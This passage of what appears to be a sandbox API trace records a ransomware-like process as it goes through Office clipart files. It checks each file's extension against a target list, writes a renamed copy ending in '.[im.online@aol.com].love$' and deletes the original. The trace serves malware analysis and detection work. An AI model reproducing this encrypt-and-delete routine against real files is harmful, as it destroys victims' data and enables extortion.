Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0243.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.237] lstrlenW (lpString=".doc") returned 4 [0243.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString=".docx") returned 5 [0243.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.238] lstrlenW (lpString=".pdf") returned 4 [0243.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString=".xls") returned 4 [0243.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.238] lstrlenW (lpString=".xlsx") returned 5 [0243.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.238] lstrlenW (lpString=".ppt") returned 4 [0243.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.238] lstrlenW (lpString=".zip") returned 4 [0243.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.238] lstrlenW (lpString=".rar") returned 4 [0243.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString=".bz2") returned 4 [0243.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString=".7z") returned 3 [0243.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.238] lstrlenW (lpString=".dbf") returned 4 [0243.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.238] lstrlenW (lpString=".1cd") returned 4 [0243.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.238] lstrlenW (lpString=".jpg") returned 4 [0243.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.238] lstrlenW (lpString=".doc") returned 4 [0243.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.239] lstrlenW (lpString=".docx") returned 5 [0243.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.239] lstrlenW (lpString=".pdf") returned 4 [0243.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.239] lstrlenW (lpString=".xls") returned 4 [0243.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.239] lstrlenW (lpString=".xlsx") returned 5 [0243.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.239] lstrlenW (lpString=".ppt") returned 4 [0243.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.239] lstrlenW (lpString=".zip") returned 4 [0243.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.239] lstrlenW (lpString=".rar") returned 4 [0243.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.239] lstrlenW (lpString=".bz2") returned 4 [0243.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.239] lstrlenW (lpString=".7z") returned 3 [0243.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.239] lstrlenW (lpString=".dbf") returned 4 [0243.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.239] lstrlenW (lpString=".1cd") returned 4 [0243.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0243.239] lstrlenW (lpString=".jpg") returned 4 [0243.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.239] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.240] lstrlenW (lpString="DD01167_.WMF") returned 12 [0243.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.240] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2080) returned 1 [0243.240] CloseHandle (hObject=0x4e8) returned 1 [0243.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0243.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.241] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.241] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0243.242] GetLastError () returned 0x0 [0243.242] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x820, lpOverlapped=0x0) returned 1 [0243.428] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x830, lpOverlapped=0x0) returned 1 [0243.429] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.429] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.429] SetEndOfFile (hFile=0x4e4) returned 1 [0243.430] CloseHandle (hObject=0x4e4) returned 1 [0243.430] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.430] SetEndOfFile (hFile=0x4e8) returned 1 [0243.434] CloseHandle (hObject=0x4e8) returned 1 [0243.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0243.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.439] lstrlenW (lpString=".doc") returned 4 [0243.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.439] lstrlenW (lpString=".docx") returned 5 [0243.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.439] lstrlenW (lpString=".pdf") returned 4 [0243.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.439] lstrlenW (lpString=".xls") returned 4 [0243.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.439] lstrlenW (lpString=".xlsx") returned 5 [0243.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.439] lstrlenW (lpString=".ppt") returned 4 [0243.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.440] lstrlenW (lpString=".zip") returned 4 [0243.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.440] lstrlenW (lpString=".rar") returned 4 [0243.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString=".bz2") returned 4 [0243.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString=".7z") returned 3 [0243.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.440] lstrlenW (lpString=".dbf") returned 4 [0243.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.440] lstrlenW (lpString=".1cd") returned 4 [0243.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.440] lstrlenW (lpString=".jpg") returned 4 [0243.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.440] lstrlenW (lpString=".doc") returned 4 [0243.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString=".docx") returned 5 [0243.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.440] lstrlenW (lpString=".pdf") returned 4 [0243.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.440] lstrlenW (lpString=".xls") returned 4 [0243.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.441] lstrlenW (lpString=".xlsx") returned 5 [0243.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.441] lstrlenW (lpString=".ppt") returned 4 [0243.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.441] lstrlenW (lpString=".zip") returned 4 [0243.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.441] lstrlenW (lpString=".rar") returned 4 [0243.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.441] lstrlenW (lpString=".bz2") returned 4 [0243.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.441] lstrlenW (lpString=".7z") returned 3 [0243.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.441] lstrlenW (lpString=".dbf") returned 4 [0243.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.441] lstrlenW (lpString=".1cd") returned 4 [0243.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0243.441] lstrlenW (lpString=".jpg") returned 4 [0243.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.441] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.442] lstrlenW (lpString="DD01171_.WMF") returned 12 [0243.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.442] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2052) returned 1 [0243.443] CloseHandle (hObject=0x4e8) returned 1 [0243.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0243.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.443] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.444] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0243.445] GetLastError () returned 0x0 [0243.445] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x804, lpOverlapped=0x0) returned 1 [0243.448] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x810, lpOverlapped=0x0) returned 1 [0243.449] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.449] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.450] SetEndOfFile (hFile=0x4e4) returned 1 [0243.450] CloseHandle (hObject=0x4e4) returned 1 [0243.450] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.450] SetEndOfFile (hFile=0x4e8) returned 1 [0243.453] CloseHandle (hObject=0x4e8) returned 1 [0243.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0243.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.455] lstrlenW (lpString=".doc") returned 4 [0243.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.455] lstrlenW (lpString=".docx") returned 5 [0243.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.455] lstrlenW (lpString=".pdf") returned 4 [0243.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.455] lstrlenW (lpString=".xls") returned 4 [0243.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.455] lstrlenW (lpString=".xlsx") returned 5 [0243.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.455] lstrlenW (lpString=".ppt") returned 4 [0243.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.455] lstrlenW (lpString=".zip") returned 4 [0243.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.455] lstrlenW (lpString=".rar") returned 4 [0243.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.455] lstrlenW (lpString=".bz2") returned 4 [0243.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.455] lstrlenW (lpString=".7z") returned 3 [0243.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.456] lstrlenW (lpString=".dbf") returned 4 [0243.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.456] lstrlenW (lpString=".1cd") returned 4 [0243.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.456] lstrlenW (lpString=".jpg") returned 4 [0243.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.456] lstrlenW (lpString=".doc") returned 4 [0243.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.456] lstrlenW (lpString=".docx") returned 5 [0243.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.456] lstrlenW (lpString=".pdf") returned 4 [0243.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.456] lstrlenW (lpString=".xls") returned 4 [0243.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.456] lstrlenW (lpString=".xlsx") returned 5 [0243.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.456] lstrlenW (lpString=".ppt") returned 4 [0243.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.456] lstrlenW (lpString=".zip") returned 4 [0243.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.457] lstrlenW (lpString=".rar") returned 4 [0243.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.457] lstrlenW (lpString=".bz2") returned 4 [0243.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.457] lstrlenW (lpString=".7z") returned 3 [0243.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.457] lstrlenW (lpString=".dbf") returned 4 [0243.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.457] lstrlenW (lpString=".1cd") returned 4 [0243.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0243.457] lstrlenW (lpString=".jpg") returned 4 [0243.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.457] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.457] lstrlenW (lpString="DD01172_.WMF") returned 12 [0243.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.458] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2232) returned 1 [0243.458] CloseHandle (hObject=0x4e8) returned 1 [0243.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0243.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.459] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.459] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0243.460] GetLastError () returned 0x0 [0243.460] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0243.462] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0243.464] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.464] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.464] SetEndOfFile (hFile=0x4e4) returned 1 [0243.464] CloseHandle (hObject=0x4e4) returned 1 [0243.464] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.464] SetEndOfFile (hFile=0x4e8) returned 1 [0243.698] CloseHandle (hObject=0x4e8) returned 1 [0243.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0243.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.700] lstrlenW (lpString="C:\\Program Files\\Microsoft 